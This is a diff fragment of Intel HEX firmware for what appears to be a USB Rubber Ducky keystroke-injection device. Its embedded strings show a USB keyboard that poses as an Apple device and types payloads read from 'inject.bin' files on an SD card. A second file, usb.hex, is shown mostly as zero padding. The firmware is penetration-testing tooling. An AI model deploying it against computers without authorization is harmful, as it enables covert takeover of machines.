+:1062C40031AAF40818005F08F3E81008EE08180073 +:1062D400C9605805C050ED67002C3005C90BED3876 +:1062E400002CE4081800C060ED38002DEE081800FA +:1062F400C050309948E8B089C0683FF8A618ED62EC +:10630400002CC7DB4898401AF16A002C4869403ACF +:10631400B21A4029F1590024300C2FCDD832000094 +:10632400800051E8000006D000000684000006D476 +:1063340080004EFC8000462C800045E4D421189552 +:106344001694301630070C9B0E9CF01F0007C0906B +:1063540008990E9A0E9B0A9CF01F0004CF50301C23 +:10636400D8220000800061D0800060E0D401F01FDA +:106374000004C040F01F0003301CD802800051E824 +:10638400800042A0EBCD40801897F01F0013C2108C +:10639400300B0E9CF01F0011C06032A94908B0896F +:1063A400E3CF80800E9CF01F000FC13048E8300915 +:1063B40091199129B0A948D8F10900242FF9F1596C +:1063C40000243019F169002CF01F0009E3CD80800E +:1063D400E3CF80808000637080006340000006D4B7 +:1063E40080005BB000000444000006848000486024 +:1063F400D421F01F001FC38049E870885808C05199 +:10640400319949D8B089D82A301949C8B019F01F30 +:10641400001CC2A0F01F001B4968708749A97219AB +:106424009189F01F001AC2004928F139002D300863 +:10643400F0091800C0D048F8F139002C3008F009F0 +:106444001800C060C1286C180E38C051C0E830155F +:10645400300448D60A9B089CF01F000DCF513089A8 +:106464004858B089D822D82ADA2A0000800051E896 +:1064740000000684000006D4000006D080004EFC14 +:10648400800045E40000044480006370800061D013 +:10649400D401F01F000AC100F01F0009C0D04898C1 +:1064A40048999219F159001C488972199189F01F71 +:1064B40000085F1CD802D80A800051C480004288BA +:1064C40000000684000006D00000044480006370CD +:1064D400D4211897F01F000BC081D822ED38002C6E +:1064E400EE081800C051DA2A3015300448660A9BB9 +:1064F400089CF01F0006CF3130994858B089D82243 +:106504008000637000000684800061D0000006D41F +:10651400D43118914998F1000024F01F0019C031BA +:106524003004C28830040897301308924936301575 +:10653400C0B8ED38002CEA081800C0412FF45C8480 +:10654400C0382FF75C87069B049CF01F000ECF21F8 +:10655400F01F000B3FF8F0001900C060301BF9D0A9 +:10656400C010F01F000830185C87E2081800EE0421 +:106574001710089CD8320000000006848000637065 +:10658400800061D0EBCD40C01896F01F000FEFDC07 +:10659400B010C061309948D8B089E3CF80C00C9C5A +:1065A400F01F000BC0D03018F0071900C031E3CF42 +:1065B40090C00E9C202C301B5C7CF01F0006E3CDA9 +:1065C40080C0000080006514000006D4800064D4FC +:1065D400800061D0EBCD40801897F01F0018C2B046 +:1065E4000E9CF01F0017C27049683FF9B08930193A +:1065F4009119F01F0015C071F01F0014F01F001452 +:10660400E3CF8080493848F97209911930099129FA +:106614003109B0A9F01F0010C0E0F01F0010C0B095 +:10662400F01F000FF01F000AC060300CF01F000DB7 +:10663400E3CD8080E3CF8080800051E880006388D0 +:106644000000072C800056A8800054B480004860E5 +:10665400000004448000534C80004EFC800046BC83 +:1066640080006588D401F01F000AC0F048981189A1 +:106674003008F0091800C070300948789189F01F7B +:106684000007DA0AF01F0006D80200008000511447 +:10669400000006D000000684800042A080005C5800 +:1066A400D401F01F0002D80280006668EBCD408060 +:1066B4001897F01F000FC190F01F000EEE0C180089 +:1066C400E08B0007306948C8B089E3CF808048B8C0 +:1066D4001188EE081800C031E3CF90804878B08765 +:1066E40030094878B089301CE3CD80808000511493 +:1066F40080006B58000006D400000684000006D019 +:10670400D4211897198CF01F0010C1C0F01F000F7E +:10671400C1906E1948E89189F01F000EC0A1C128EC +:106724000A9B089CF01F000CC071F01F000AD82AB5 +:1067340048A6301530048C198E48F0091900CF1181 +:10674400DA2AD82A800066B08000666800000684D1 +:1067540080006370800061D0000006D0D431206DC9 +:10676400189716911490F01F0062E08000BE1A96EC +:106774001A9CF01F0060FAC8FFF4FAEA0000F0EB7C +:106784000000402991290F8835C9F20818005F0AD2 +:1067940032F9F20818005F09F5E91009C070F01F1A +:1067A4000056E080009D2FF7C5F80F9933AAF4092D +:1067B4001800C2210FAA35CBF60A18005F0B32FC71 +:1067C400F80A18005F0AF7EA100AC1604CB97209A6 +:1067D400F2080709F0CA0020E2190002F4081710B1 +:1067E4002418F9D8C008F01F0046C790F01F0045D0 +:1067F400C7602FD7C39832EAF4081800C19135C88E +:10680400F00918005F0A32F8F00918005F08F5E88B +:106814001008C0E02FE7C288F01F003BC6000D88B7 +:10682400ECC7FFFFEA081800EC071700C05832E471 +:1068340035C332F230050F88E8081800C1510F98AB +:10684400E8081800C111EEC6FFFE0D88E60818001E +:106854005F0AE40818005F09F5E91009EA0918005D +:10686400CDC15808CDA0F01F0029C3903003069273 +:10687400300635C532F40F88EC081800C031301CDE +:10688400C338029B0E9CF01F0022C0515800C270F6 +:106894000E9230132FF70F885808C0815803CEC0CA +:1068A400049CF01F001CCE81C1A8EA0818005F09EF +:1068B400E80818005F08F3E81008EC081800CEB0E8 +:1068C4005803C050049CF01F0014C090F01F001324 +:1068D400C060F01F0013C0302FF7CCEBFACCFFF4EC +:1068E400F01F0010300C2FADD8320000800051147E +:1068F400800060C0800066A4000000E8800066B0EC +:1069040080006668800063F48000637080006340E8 +:1069140080006388800065D8800042888000649489 +:1069240080006704EBCD408018973018F00C1800F5 +:10693400E0880007327948B8B089E3CF808048A85E +:10694400118CEE0C1800C031E3CF9080F01F0007CB +:106954000E9CF01F00064848B087E3CF90800000EB +:10696400000006D40000074C80004784EBCD40F8BB +:1069740030074918B0874918B087F01F0011F01F7D +:106984000011300CF01F00104903A68749053FF49D +:10699400AA844906AC87EB67002D301CF01F000A5F +:1069A400A687AA84AC87EB67002D48B8B087E3CDEF +:1069B40080F80000000006D50000045680004694CC +:1069C4008000403C80006928000006D00000068456 +:1069D400000004440000074C48DDFEC0EDDEE3B0D7 +:1069E4000001D55348B048C10230C06248B2A50581 +:1069F400A1240230CFD348A048A10230C0623002A3 +:106A04003003A1220230CFE3FECFF2B800008000B1 +:106A140000000008000000F0800080A0000000F0EA +:106A240000000758D401FE780C00E0690080EA19E0 +:106A340080809119E1B90000D303E06A030791AAA9 +:106A4400700AA3AA910AE3B900007159E2190080FF +:106A5400CFD0E06C1B00EA1C00B7F01F0008E1B9BE +:106A64000000D303FE780C00700AE01AFFFCA1AA10 +:106A7400910AE3B90000D80280002E80E1BA000038 +:106A8400D303FE780C007159E2190040CFD0A36CF7 +:106A9400E02CF3F878083019F20B094B104B990BE2 +:106AA400E3BA00005EFCD703EBCD40C01897E1B613 +:106AB4000000D30348B811893008F0091800C05108 +:106AC400302B301CF01F0008486811892FF9B08959 +:106AD400E3B600000E9B303CF01F0003E3CD80C002 +:106AE400000001CD80006A80D401301CF01F001822 +:106AF400303B301CF01F0017E1B90000D303FE78CF +:106B04000C00E06A030791AA700AA3AA910AE3B9E8 +:106B1400000010997358E2180080CFD03088A3A8E1 +:106B240031092019B169EA193F00E8190201F3E8B3 +:106B34001008FE790C0093887358F1D8C001CFD0A7 +:106B44003069FE780C00F149006CD80280006AAC10 +:106B540080006A805EFFD703D401580CC020DA0A93 +:106B64004828700C5D1CD80280007EE8D401580CC3 +:106B7400C020DA0A48387018169C5D18D802000044 +:106B840080007EE8580C5F0C5EFCD703D401580CDF +:106B9400C020DA0A4828702C5D1CD80280007EE8E8 +:106BA400EBCD40E0189716951496302CF01F000991 +:106BB4005807C0303017C078487870580C9B0A9C2E +:106BC4005D181897302CF01F00050E9CE3CD80E073 +:106BD400800020FC80007EE88000214CEBCD40E06A +:106BE400189716951496301CF01F00095807C030EA +:106BF4003017C078487870480C9B0A9C5D18189729 +:106C0400301CF01F00050E9CE3CD80E0800020FCCA +:106C140080007EE88000214C5EFDD70348D89018A0 +:106C2400F5D8C1083029F20A1900C1115C58C0F125 +:106C3400488890393018F0091900C09148584869BB +:106C44009129486991493019B0695EFF5EFD0000E1 +:106C540000000428000001D980006E6CD40148E8CB +:106C640011893008F0091800C020D80A48BA48C869 +:106C7400F0E80000F4E90000300948A8B08948A809 +:106C84003089300BE06C0081F01F00084828B08C7C +:106C9400D8020000000001CF000001D0000001DC98 +:106CA400000001CE80006CB080003924D40130088B +:106CB4004859B28848591389F0091800C030F01FA8 +:106CC4000004D802000001CF000001CE80006C60F7 +:106CD400EBCD4080E1B70000D303499811A85808D0 +:106CE400C210F8081800C0B049592FD93038308B79 +:106CF400138A580AC0F0F80A1800C051E3B700001C +:106D0400E3CF90802FF85C582FF9F6081800CF11C4 +:106D1400C0583089F2081800C061E3B70000E3CF1F +:106D2400808030284869F2080B0C30194858B08923 +:106D3400F01F0005E3B70000E3CF9080000001DC02 +:106D4400000001CE80006C60EBCD4080E1B7000014 +:106D5400D3034A1811A85808C0B0F8081800C22074 +:106D640049D92FD93038308B138A580AC041E3B738 +:106D74000000C2F8F80A1800C0802FF85C582FF9F8 +:106D8400F6081800CF21C0B83089F2081800C07086 +:106D94003069F2081800E0880007C118E3B7000062 +:106DA400C188302848C9307BF208000A159AF208D5 +:106DB4000B0A2FF85C58F6081800CF7130094868A0 +:106DC400B0F930194858B089F01F0005E3B7000046 +:106DD400E3CF9080000001DC000001CE80006C60F5 +:106DE400EBCD4080E1B70000D30348781189124C01 +:106DF400B08C30194858B089F01F0005E3B7000083 +:106E0400E3CF9080000001DC000001CE80006C60C4 +:106E1400EBCD4080E1B70000D30348885CDC1189E6 +:106E2400126CB08C30194868B089F01F0006E3B7C3 +:106E34000000E3CF90800000000001DC000001CEE0 +:106E440080006C60D4014849484A485B485CF01FA4 +:106E54000006D80280006C200000000D000001D85C +:106E6400000001E480006EC8D4014838118CF01F82 +:106E74000003D802000001D980007708D401F01F74 +:106E84000002D80280007704D40130084889B2880F +:106E94004889B2884889B288300A300B4879F2EBC5 +:106EA40000004879B288F01F0007D802000001E40E +:106EB400000001D8000001CF000001DC000001CE79 +:106EC40080007702EBCD408014974C081188300A7B +:106ED400F4081800C504E2180060C3314BB9139AD2 +:106EE4003069F20A1800C2D1F01F00392F7C1999B9 +:106EF4003218F0091800C2314B4811A83219F208AF +:106F04001800C0A14B18912C90B9198AF20A0D49A6 +:106F1400B069E3CF908019E9F0091800C1014AB8BB +:106F2400912790BA19FBF9390008F3EB10895CC971 +:106F34005C79F4090D49B069E3CF9080E3CF808098 +:106F4400E0480020C4014A1811983029F2081800BA +:106F5400C0603039F2081800C361C07849B8912C78 +:106F64003019B069E3CF90804988912B3019B0690A +:106F7400E3CF9080E2180060E0480020C241493825 +:106F84001198309AF4081800C0B0C1D330A9F2089F +:106F94001800C09030B9F2081800C151C0985D19AA +:106FA400E3CD8080489811A8B888E3CF90804878D2 +:106FB40090393008F0091900C06148489018B68823 +:106FC400E3CF9080E3CF80800000042880006FD45A +:106FD4004828700C5EFC0000000001F4487870083A +:106FE400700811AA11B9F3EA10895CC9F9D9C01063 +:106FF400F00C000C5EFC0000000001E8EBCD40E06A +:107004001897169649B811893008F0091800C2F08B +:1070140049987008700811C9189EF8091800E0888A +:10702400002749658B08F01F00166A08103CE088A9 +:10703400001F304B1099119AF60A1800C0A111AA2A +:107044000E9EEE0A1800C05111BAEC0A1800C0B026 +:107054001388F2080008103CFE9BFFEE4879930861 +:10706400E3CF80E048599308E3CF90E0E3CF80E09A +:10707400000001F2000001E8000001F480006FE06C +:10708400EBCD40C018961697F01F00110D8810061E +:107094000C3CE08800190D983049F2081800C13002 +:1070A400EE081800C0A1C1080D98F2081800C0B07D +:1070B400EE081800C031C08830490D8810060C3C19 +:1070C400FE9BFFF430060C9CE3CD80C080006FE093 +:1070D400D401484811BCF9DCC007F01F0003D802F2 +:1070E40000000428800032A2EBCD40E01895F01F88 +:1070F4000012C1F04918700730560C9B0E9CF01F0B +:1071040000101897C0D019CA19D8F1EA108A5CCABD +:107114005C7A19BB19ACF01F000BCF01C0A848A8BA +:1071240070087018F0050328700C5D1CE3CD80E036 +:10713400E3CF80E080007000000001F480007084E0 +:1071440080003458000001E8EBCD40E01896189711 +:10715400300BF01F0012C1E0491870087018F006D7 +:1071640003256A3C5D1C189B0C9CF01F000CC1207D +:1071740048C8700730560C9B0E9CF01F000B1897E4 +:10718400C05019ACF01F0009CF7B6A185D18E3CF1B +:1071940090E0E3CF80E0000080007000000001E890 +:1071A400000001F48000708480003428EBCD40C0DE +:1071B400496811893008F0091800C17049487008FD +:1071C400700811C93008F0091800C0F030074906EA +:1071D4000E9CF01F00102FF75C576C08700811C844 +:1071E400EE081800FE9BFFF630094888B08948A8CD +:1071F4009088E2180200C030F01F00083009486887 +:10720400B009E3CD80C00000000001F2000001E8F5 +:107214008000714C000001F080007700EBCD40E06D +:10722400FEF8047C3009B069300A914A915A1188F9 +:10723400109AF2081800C094FEF90464923B3009D5 +:10724400F20B1900E080022A1099E2190060E08133 +:1072540001F9F20A1800E0840106FEF904429239A9 +:107264005809E08001EFF1D8C005E08100A3FEFADF +:10727400042E159A306BF60A1800C1A0308BF60A5A +:107284001800E0800088300BF60A1800E0810092B4 +:107294003028F0091900C040300CE08F01CF302BAA +:1072A400FEFC0400F01F0100301CE08F01C7FEF853 +:1072B40003EE9019F2081608302AF4081800C100E9 +:1072C400303AF4081800C2A03019F2081800C5F1C9 +:1072D400FEF803D8700C198BF01F00F3C4785C59C6 +:1072E400FEF803C87008F1380011F2081800E088AD +:1072F400004FFEF803B67018F009033C19A919B839 +:10730400F1E910885CC8F7D8C010F01F00E7FEF858 +:10731400038E70283029B099C2985C595819C1005D +:107324005829C0405809C060C328FEFC038230CBF2 +:10733400C0A8304BFEFC037CF01F00DBC178FEFCD0 +:10734400037630ABFEFA03742FEA189811395CC93E +:1073540014B9F00C0109F6091800CF93A17B2FEBA7 +:10736400FEFC0358B88BF01F00D0FEF803329039AE +:107374009068F2081900E08B0005301CE08F015E74 +:10738400FEF8031CB069301CE08F0158300CE08F0C +:1073940001553018F0091900C040300CE08F014E3F +:1073A400301BFEFC031AF01F00C0301CE08F0146A6 +:1073B4005818C361FEFA02E8159B30AAF40B1800B2 +:1073C400C2F1F0091900C2A1FEF802F411893008D3 +:1073D400F0091800C230FEF802C611D7FEF802E424 +:1073E4007008700811C8EE081800E0880018300B07 +:1073F4000E9CF01F00B5C120FEF802C8700870187A +:10740400F0070328703C5D1CFEF802C0B08C301BF2 +:10741400109CF01F00A5301CC109300CC0E958288D +:10742400E0810110FEF80278119A3008F00A180081 +:10743400E08101033028F0091900C030300CCFD8A6 +:10744400FEF8025C11DCF01F00A2E0680100F9B84C +:107454000000FEFC027EB808302BF01F0093301CA5 +:10746400CEC8F1D8C005E0810092FEF9023213992A +:10747400303AF4091800C370E08B0008301AF4099C +:107484001800E0810084C198305AF4091800C060E3 +:10749400309AF4091800C7A1C3C8FEF80202903953 +:1074A4003008F0091900C030300CCC78FEF90228FD +:1074B4004FB89149301CCC184F9890393008F009D6 +:1074C4001900C0F14F6890193018F0091900C091E3 +:1074D4004F489009A9D9B009F01F0080301CCAD8C0 +:1074E400300CCAB84EE890393008F0091900C0F1E0 +:1074F4004EB890193018F0091900C0914E989009AF +:10750400A9B9B009F01F0076301CC978300CC958ED +:107514004E3890393008F0091900C341F01F00714A +:10752400C3104DF811B94E187008F1380011103914 +:10753400E0890029F01F006C4D9811B84E09B288FB +:107544005808C22020184D997219F20800384DD9F4 +:107554009308700811C93008F0091800C1503007A9 +:107564000E954D860A9B0E9CF01F0060C0B02FF74D +:107574005C576C08700811C8EE081800FE9BFFF4F5 +:10758400C038300CC5A8301CC5885818C2214C49D5 +:10759400139A30B9F20A1800C1C14C189039300856 +:1075A400F0091900C1414C6811893008F00918002C +:1075B400C0E04BB8901611D70E9CF01F004DC07060 +:1075C400F7D6C0080E9CF01F0049C378300CC3588E +:1075D4005828C3714B2811983019F2081800C0605C +:1075E4003039F2081800C281C1484AD890393008AD +:1075F400F0091900C0C14AA890193008F00919000F +:10760400C0614A7811DCF01F003BC178300CC158CE +:107614004A3890393008F0091900C0C14A08901955 +:107624003008F0091900C06149D811DCF01F00329C +:10763400C048300CC028300C580CC030E3CF90E068 +:1076440049781188F1D8C0055818C27149C8118900 +:107654003008F0091800C210491811D74998700869 +:10766400700811C8EE081800E08800180E96300B58 +:107674000E9CF01F0015C110492870087018F007FF +:1076840003276E3C5D1C189B0C9CF01F000FC05020 +:107694006E2C5D1CE3CD80E0E3CF80E00000042885 +:1076A400000001F0800032DC00000088000000A42B +:1076B400000000DA000000B4000000C0000001F285 +:1076C400000001E880007000000001EC800032E856 +:1076D400000001EE800070D480007700800076FE08 +:1076E400800032C4800071B0800070EC8000714C66 +:1076F400800032FC800033CC5EFC5EFC5EFC5EFFEE +:107704005EFDD703F1DCC001C04048994898910957 +:107714001898E2180002C040487948689109E21CB0 +:1077240000045E0C4859483891095EFC80007F5C77 +:10773400000000E480007F6C80007F7CD401301C5A +:10774400F01F0003302CF01F0002D8028000214CEF +:10775400EBCD4080205DF01F0033D5034B2830096A +:10776400B089B099B0A9B0B9B0C9B0D93019B0E9ED +:10777400F01F002EF01F002E4AE81A97F0EA0000CE +:10778400FAEB0000F0E80008FAE90008304B4AACD4 +:10779400F01F002A1A9BFE7C2400F01F00293009E8 +:1077A400129A129BFE7C2400F01F0026FE7C24000B +:1077B400F01F0025204DEEE80000FAE90000EEE895 +:1077C4000008FAE90008E06C1B00EA1C00B7F01F8F +:1077D400001F300CF01F001E2FCD580CC0F1FACB47 +:1077E400FFF0F01F001CF01F001C300A301B49B8CA +:1077F400700CF01F001BC070C0E830270E9CF01FF7 +:107804000019CFDB30270E9CF01F00160E9CF01FD2 +:107814000016CFABF01F0015F01F0015C0080000C4 +:10782400800030280000075080006A28800020046F +:1078340080007F4C80007F4480002EF8800030CE92 +:10784400800031068000326080002CA880006B5CD0 +:1078540080006B7080006970000000E48000676045 +:10786400800020FC8000214C8000382C8000367879 +:10787400EBCD40804D9913882FF8B2883019F20867 +:107884001800E08800A930094D48B089F7DCC02809 +:10789400301CF01F00534D3890085808C040201881 +:1078A4004D09B2084D0870085898E08B00924CF9C5 +:1078B400F208032F30DCF01F004EE081008D4C985D +:1078C40090093008F0091900E081008630194C68ED +:1078D4009109E06900FA4C38B009E3CD8080309C0E +:1078E400F01F004430294C089109E3CD8080F01F3B +:1078F4000042C080F01F004130094BB89109E3CD2C +:107904008080F01F003FEFDCB010F01F003D5C7C76 +:10791400EFEC10875C874BB8B0070E985C58C0A199 +:10792400EFD7C1084B88B08730994AF89109E3CD65 +:107934008080EFD7C108C06130394AB89109E3CDDE +:10794400808030594A889109E3CD80804AD8119CBF +:10795400F01F002E30494A489109E3CD80804A98AF +:10796400119CF01F002B302949F89109E3CD808048 +:107974004A48118CF01F0027306949B89109E3CDBA +:1079840080804A08119CF01F0021307949689109D0 +:10799400E3CD808049B8119CF01F001D308949282F +:1079A4009109E3CD80804978118CF01F001B3029A8 +:1079B40048D89109E3CD80804939138820185C5850 +:1079C400B288C091302948889109E3CD808030097C +:1079D40048589109E3CD8080000001FB8000205CC1 +:1079E400000001FC000000E080007F1C80002FE00C +:1079F4008000602080005F5480005F7880005FB466 +:107A0400000001F8000001FA80006CD480006D4C85 +:107A140080006DE480006E14D401F01F00045C7CCF +:107A2400F01F0003D8020000800032D08000787478 +:107A3400D4013008C0D8F808070EF6080709201A40 +:107A44002FF8F20E1800C040FC09010CD802580AA5 +:107A5400CF31149CD802588AC2F5F9EB1009E21907 +:107A64000003E0810097E04A0020C3B4F408140244 +:107A7400F0091108FE09002F766999697659995918 +:107A8400764999497639993976299929761999192E +:107A940076099909F608002BF8080028E01A000373 +:107AA400F40A1104FE0A002F17A9B0A91799B09976 +:107AB4001789B0895EFCF40A1109FE0A002F17F930 +:107AC400B8F917E9B8E917D9B8D917C9B8C917B9AE +:107AD400B8B917A9B8A91799B8991789B8895EFCD4 +:107AE400EBCD40C01899220AB707B326B707B326CF +:107AF400B707B326B707B326220ACF742F0AC06587 +:107B0400B707B326B707B326210A5C3AFE0A003F3B +:107B1400D703D703F736000EF366000EF736000DD1 +:107B2400F366000DF736000CF366000CF736000B15 +:107B3400F366000BF736000AF366000AF73600090D +:107B4400F3660009F7360008F3660008F736000705 +:107B5400F3660007F7360006F3660006F7360005FD +:107B6400F3660005F7360004F3660004F7360003F5 +:107B7400F3660003F7360002F3660002F7360001ED +:107B8400F3660001F7360000F3660000E3CD80C021 +:107B9400201AF60A0709F80A0B09CFB15EFC1898F7 +:0C7BA400C03810CB201A580ACFD15EFC6C +:107C0000C0080000C0080000C0080000C008000054 +:107C1000C0080000C0080000C0080000C008000044 +:107C2000C0080000C0080000C0080000C008000034 +:107C3000C0080000C0080000C0080000C008000024 +:107C4000C0080000C00800000000000000000000A4 +:107C5000C00800000000000000000000000000005C +:107C6000C00800000000000000000000000000004C +:107C7000C00800000000000000000000000000003C +:107C800000000000000000000000000000000000F4 +:107C900000000000000000000000000000000000E4 +:107CA00000000000000000000000000000000000D4 +:107CB00000000000000000000000000000000000C4 +:107CC00000000000000000000000000000000000B4 +:107CD00000000000000000000000000000000000A4 +:107CE0000000000000000000000000000000000094 +:107CF0000000000000000000000000000000000084 +:107D0000C008D703300CFEB0D9BB580CF80F1710C1 +:107D1000D603301CFEB0D9B4580CF80F1710D60398 +:107D2000302CFEB0D9AD580CF80F1710D603303CEC +:107D3000FEB0D9A6580CF80F1710D60300000104A6 +:107D40004000011280000120C000012ED703D7039C +:107D5000D703D703D703D703D703D703D703D70353 +:107D6000D703D703D703D703D703D703D703D70343 +:107D7000D703D703D703D703D703D703D703D70333 +:107D8000D703D703D703D703D703D703D703D70323 +:107D9000D703D703D703D703D703D703D703D70313 +:107DA000D703D703D703D703D703D703D703D70303 +:107DB000D703D703D703D703D703D703D703D703F3 +:107DC000D703D703D703D703D703D703D703D703E3 +:107DD000D703D703D703D703D703D703D703D703D3 +:107DE000D703D703D703D703D703D703D703D703C3 +:107DF000D703D703D703D703D703D703D703D703B3 +:107E000000000000000000800000000000000000F2 +:107E10000000000000000100000000010000000060 +:107E20000000000000200000000000020000000030 +:107E300000000000004000000000000600000000FC +:107E400000000001000001440000000B0000014898 +:107E50000000000600000174000000070000018C13 +:107E600000000001000001A800000001000001ACBA +:107E7000000000010000010C0000000100000110E2 +:107E800000000000000001140000000100000118C3 +:107E9000000000000000011C0000000100000120A3 +:107EA0000000000100000124000000010000012882 +:107EB000000000030000012C000000010000013858 +:107EC000000000000000013C000000010000014033 +:107ED000525261413A2A3F223C3E7C002B2C2E3BE1 +:107EE0003D5B5D007272416180002CE080002E30AD +:107EF00080002CDC80002CDE80002DCC80002D64E6 +:107F000080007F042253442F4D4D4320436172640F +:107F1000206F76657220535049220000800078B8A7 +:107F2000800078E2800078F28000795080007962E9 +:107F3000800079748000798680007998800079AA21 +:107F4000800079BC0F0019000E0011000100000034 +:107F500000B71B000800000100010000413A5C6905 +:107F60006E6A656374322E62696E0000413A5C6924 +:107F70006E6A656374332E62696E0000413A5C6913 +:107F80006E6A656374342E62696E0000413A5C6902 +:107F90006E6A6563742E62696E0000000020202006 +:107FA00020202020202028282828282020202020A9 +:107FB0002020202020202020202020202088101079 +:107FC00010101010101010101010101010040404D5 +:107FD0000404040404040410101010101010414193 +:107FE0004141414101010101010101010101010181 +:107FF0000101010101010101101010101010424295 +:108000004242424202020202020202020202020250 +:1080100002020202020202021010101020000000F0 +:108020000000000000000000000000000000000050 +:108030000000000000000000000000000000000040 +:108040000000000000000000000000000000000030 +:108050000000000000000000000000000000000020 +:108060000000000000000000000000000000000010 +:108070000000000000000000000000000000000000 +:1080800000000000000000000000000000000000F0 +:1080900000000000000000000000000000000000E0 +:1080A0000000000F0105010906A101050719E029DB +:1080B000E715002501750195088102810119002944 +:1080C00065150025657508950681000508190129C3 +:1080D000051500250175019505910295039101C0D3 +:1080E00080006E8C80006E8080006E4880006C1C6A +:1080F00009022200010100A032090400000103006E +:108100000100092111010001223B0007058103083C +:108110000002000000000058000000840000004839 +:10812000000000900000007C120100020000000826 +:10813000AC0527220001010200010000484944204B +:108140004B6579626F617264000000004170706C71 +:108150006520496E632E000000030000000000004F +:10816000000000000000000000000000000000000F +:1081700000000403090400000000000180007F8C5F +:0481800080007F9D5F +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Images/usb.hex b/Rubber_Duck/HAK/Firmware/Images/usb.hex new file mode 100755 index 0000000..6ccf423 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Images/usb.hex @@ -0,0 +1,1513 @@ +:0200000480007A +:10000000E08F100000000000000000000000000071 +:1000100000000000000000000000000000000000E0 +:1000200000000000000000000000000000000000D0 +:1000300000000000000000000000000000000000C0 +:1000400000000000000000000000000000000000B0 +:1000500000000000000000000000000000000000A0 +:100060000000000000000000000000000000000090 +:100070000000000000000000000000000000000080 +:100080000000000000000000000000000000000070 +:100090000000000000000000000000000000000060 +:1000A0000000000000000000000000000000000050 +:1000B0000000000000000000000000000000000040 +:1000C0000000000000000000000000000000000030 +:1000D0000000000000000000000000000000000020 +:1000E0000000000000000000000000000000000010 +:1000F0000000000000000000000000000000000000 +:1001000000000000000000000000000000000000EF +:1001100000000000000000000000000000000000DF +:1001200000000000000000000000000000000000CF +:1001300000000000000000000000000000000000BF +:1001400000000000000000000000000000000000AF +:10015000000000000000000000000000000000009F +:10016000000000000000000000000000000000008F +:10017000000000000000000000000000000000007F +:10018000000000000000000000000000000000006F +:10019000000000000000000000000000000000005F +:1001A000000000000000000000000000000000004F +:1001B000000000000000000000000000000000003F +:1001C000000000000000000000000000000000002F +:1001D000000000000000000000000000000000001F +:1001E000000000000000000000000000000000000F +:1001F00000000000000000000000000000000000FF +:1002000000000000000000000000000000000000EE +:1002100000000000000000000000000000000000DE +:1002200000000000000000000000000000000000CE +:1002300000000000000000000000000000000000BE +:1002400000000000000000000000000000000000AE +:10025000000000000000000000000000000000009E +:10026000000000000000000000000000000000008E +:10027000000000000000000000000000000000007E +:10028000000000000000000000000000000000006E +:10029000000000000000000000000000000000005E +:1002A000000000000000000000000000000000004E +:1002B000000000000000000000000000000000003E +:1002C000000000000000000000000000000000002E +:1002D000000000000000000000000000000000001E +:1002E000000000000000000000000000000000000E +:1002F00000000000000000000000000000000000FE +:1003000000000000000000000000000000000000ED +:1003100000000000000000000000000000000000DD +:1003200000000000000000000000000000000000CD +:1003300000000000000000000000000000000000BD +:1003400000000000000000000000000000000000AD +:10035000000000000000000000000000000000009D +:10036000000000000000000000000000000000008D +:10037000000000000000000000000000000000007D +:10038000000000000000000000000000000000006D +:10039000000000000000000000000000000000005D +:1003A000000000000000000000000000000000004D +:1003B000000000000000000000000000000000003D +:1003C000000000000000000000000000000000002D +:1003D000000000000000000000000000000000001D +:1003E000000000000000000000000000000000000D +:1003F00000000000000000000000000000000000FD +:1004000000000000000000000000000000000000EC +:1004100000000000000000000000000000000000DC +:1004200000000000000000000000000000000000CC +:1004300000000000000000000000000000000000BC +:1004400000000000000000000000000000000000AC +:10045000000000000000000000000000000000009C +:10046000000000000000000000000000000000008C +:10047000000000000000000000000000000000007C +:10048000000000000000000000000000000000006C +:10049000000000000000000000000000000000005C +:1004A000000000000000000000000000000000004C +:1004B000000000000000000000000000000000003C +:1004C000000000000000000000000000000000002C +:1004D000000000000000000000000000000000001C +:1004E000000000000000000000000000000000000C +:1004F00000000000000000000000000000000000FC +:1005000000000000000000000000000000000000EB +:1005100000000000000000000000000000000000DB +:1005200000000000000000000000000000000000CB +:1005300000000000000000000000000000000000BB +:1005400000000000000000000000000000000000AB +:10055000000000000000000000000000000000009B +:10056000000000000000000000000000000000008B +:10057000000000000000000000000000000000007B +:10058000000000000000000000000000000000006B +:10059000000000000000000000000000000000005B +:1005A000000000000000000000000000000000004B +:1005B000000000000000000000000000000000003B +:1005C000000000000000000000000000000000002B +:1005D000000000000000000000000000000000001B +:1005E000000000000000000000000000000000000B +:1005F00000000000000000000000000000000000FB +:1006000000000000000000000000000000000000EA +:1006100000000000000000000000000000000000DA +:1006200000000000000000000000000000000000CA +:1006300000000000000000000000000000000000BA +:1006400000000000000000000000000000000000AA +:10065000000000000000000000000000000000009A +:10066000000000000000000000000000000000008A +:10067000000000000000000000000000000000007A +:10068000000000000000000000000000000000006A +:10069000000000000000000000000000000000005A +:1006A000000000000000000000000000000000004A +:1006B000000000000000000000000000000000003A +:1006C000000000000000000000000000000000002A +:1006D000000000000000000000000000000000001A +:1006E000000000000000000000000000000000000A +:1006F00000000000000000000000000000000000FA +:1007000000000000000000000000000000000000E9 +:1007100000000000000000000000000000000000D9 +:1007200000000000000000000000000000000000C9 +:1007300000000000000000000000000000000000B9 +:1007400000000000000000000000000000000000A9 +:100750000000000000000000000000000000000099 +:100760000000000000000000000000000000000089 +:100770000000000000000000000000000000000079 +:100780000000000000000000000000000000000069 +:100790000000000000000000000000000000000059 +:1007A0000000000000000000000000000000000049 +:1007B0000000000000000000000000000000000039 +:1007C0000000000000000000000000000000000029 +:1007D0000000000000000000000000000000000019 +:1007E0000000000000000000000000000000000009 +:1007F00000000000000000000000000000000000F9 +:1008000000000000000000000000000000000000E8 +:1008100000000000000000000000000000000000D8 +:1008200000000000000000000000000000000000C8 +:1008300000000000000000000000000000000000B8 +:1008400000000000000000000000000000000000A8 +:100850000000000000000000000000000000000098 +:100860000000000000000000000000000000000088 +:100870000000000000000000000000000000000078 +:100880000000000000000000000000000000000068 +:100890000000000000000000000000000000000058 +:1008A0000000000000000000000000000000000048 +:1008B0000000000000000000000000000000000038 +:1008C0000000000000000000000000000000000028 +:1008D0000000000000000000000000000000000018 +:1008E0000000000000000000000000000000000008 +:1008F00000000000000000000000000000000000F8 +:1009000000000000000000000000000000000000E7 +:1009100000000000000000000000000000000000D7 +:1009200000000000000000000000000000000000C7 +:1009300000000000000000000000000000000000B7 +:1009400000000000000000000000000000000000A7 +:100950000000000000000000000000000000000097 +:100960000000000000000000000000000000000087 +:100970000000000000000000000000000000000077 